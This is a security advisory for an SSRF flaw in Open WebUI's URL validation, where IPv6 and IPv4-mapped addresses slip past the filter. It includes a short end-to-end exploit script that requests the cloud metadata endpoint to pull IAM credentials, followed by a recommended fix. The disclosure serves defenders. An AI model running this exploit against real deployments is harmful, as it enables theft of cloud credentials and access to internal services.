CVE-2026-45331: Open WebUI: Full SSRF Vulnerability in the RAG Web Search Feature

SSRF Bypass via IPv6/IPv4-mapped IPv6/IPv4-reserved-ranges in validateurl()

Summary

validateurl() in backend/openwebui/retrieval/web/utils.py calls validators.ipv6(ip, private=True), but the validators library does NOT implement the private keyword for IPv6 — the call raises a ValidationError (which is falsy in a boolean context), so every IPv6 address passes the filter. In addition, IPv4-mapped IPv6 (::ffff:10.0.0.1) bypasses the IPv4 check entirely, and several reserved IPv4 ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.0.0/24, etc.) are not blocked.

The vulnerability has existed since the validateurl() function was introduced and was NOT actually fixed by GHSA-c6xv-rcvw-v685 / CVE-2025-65958 despite that patch's intent. It affects every endpoint that calls validateurl(), including /api/v1/retrieval/process/web, /api/v1/images/edit, and others.

Affected code

backend/openwebui/retrieval/web/utils.py validateurl():

python if validators.ipv6(ip, private=True): # ValidationError is falsy — never raises raise ValueError(...)

Proof of concept

python import validators print(validators.ipv6("::1", private=True)) ValidationError(func=ipv6, args={'reason': "ipv6() got an unexpected keyword argument 'private'", ...})

End-to-end exploit:

python import requests, ipaddress

OPENWEBUIURL = "https://target" TOKEN = "..." TARGETIPV4 = "169.254.169.254" # AWS IMDSv1 mapped = "::ffff:" + TARGETIPV4

requests.post(f"{OPENWEBUIURL}/api/v1/retrieval/process/web", headers={"Authorization": f"Bearer {TOKEN}"}, json={"collectionname": "", "url": f"http://[{mapped}]/latest/meta-data/iam/security-credentials/"})

Impact

Any authenticated user can reach any internal IPv4/IPv6 address from the server process — cloud metadata, localhost-bound APIs, internal services. IMDSv1 reachability leads to IAM credential exfiltration.

Recommended fix

Replace the validators library calls with stdlib ipaddress:

python import ipaddress addr = ipaddress.ipaddress(ip) if addr.isprivate or addr.isloopback or addr.islinklocal or addr.ismulticast or addr.isreserved or addr.isunspecified: raise ValueError(...) also unwrap IPv4-mapped IPv6 and re-check: if isinstance(addr, ipaddress.IPv6Address) and addr.ipv4mapped: addrv4 = addr.ipv4mapped if addrv4.isprivate or addrv4.isloopback or ...: raise ValueError(...) plus explicit blocks for IANA reserved ranges (0.0.0.0/8, 100.64.0.0/10, etc. — see body for full list).

Related but separate advisories

- Redirect-bypass cluster: GHSA-rh5x-h6pp-cjj6 - DNS rebinding TOCTOU: GHSA-h6x2-583h-x99r - urlparse / requests parsing-differential: GHSA-8w7q-q5jp-jvgx - Playwright loader redirect: GHSA-jrfp-m64g-pcwv - Missing validateurl() call in imagegenerations: GHSA-h7cc-wwjp-5xqh

Credits

- Dor Konis (dkonis, GE Vernova) — first to identify the validators.ipv6(private=True) silent-fail and IPv4-mapped IPv6 bypass; GHSA-4v7r-f4w8-8972 (this filing, 2024-09-11; credit explicitly requested in original report). - wlayzz — first to identify the unblocked IPv4 reserved ranges (0.0.0.0/8, 100.64.0.0/10, 192.0.2.0/24, 198.18.0.0/15, 203.0.113.0/24, etc.); GHSA-pxgj-3gvh-mfjv.

Subsequent filings (GHSA-mggf-94hh-vp4w by vnth4nhnt, GHSA-xhgr-g5q7-jg6p by L1M1T-HACK) re-described the same root cause on the same or different endpoints and were closed as duplicates without advisory credit — fixing validateurl() once resolves all of them.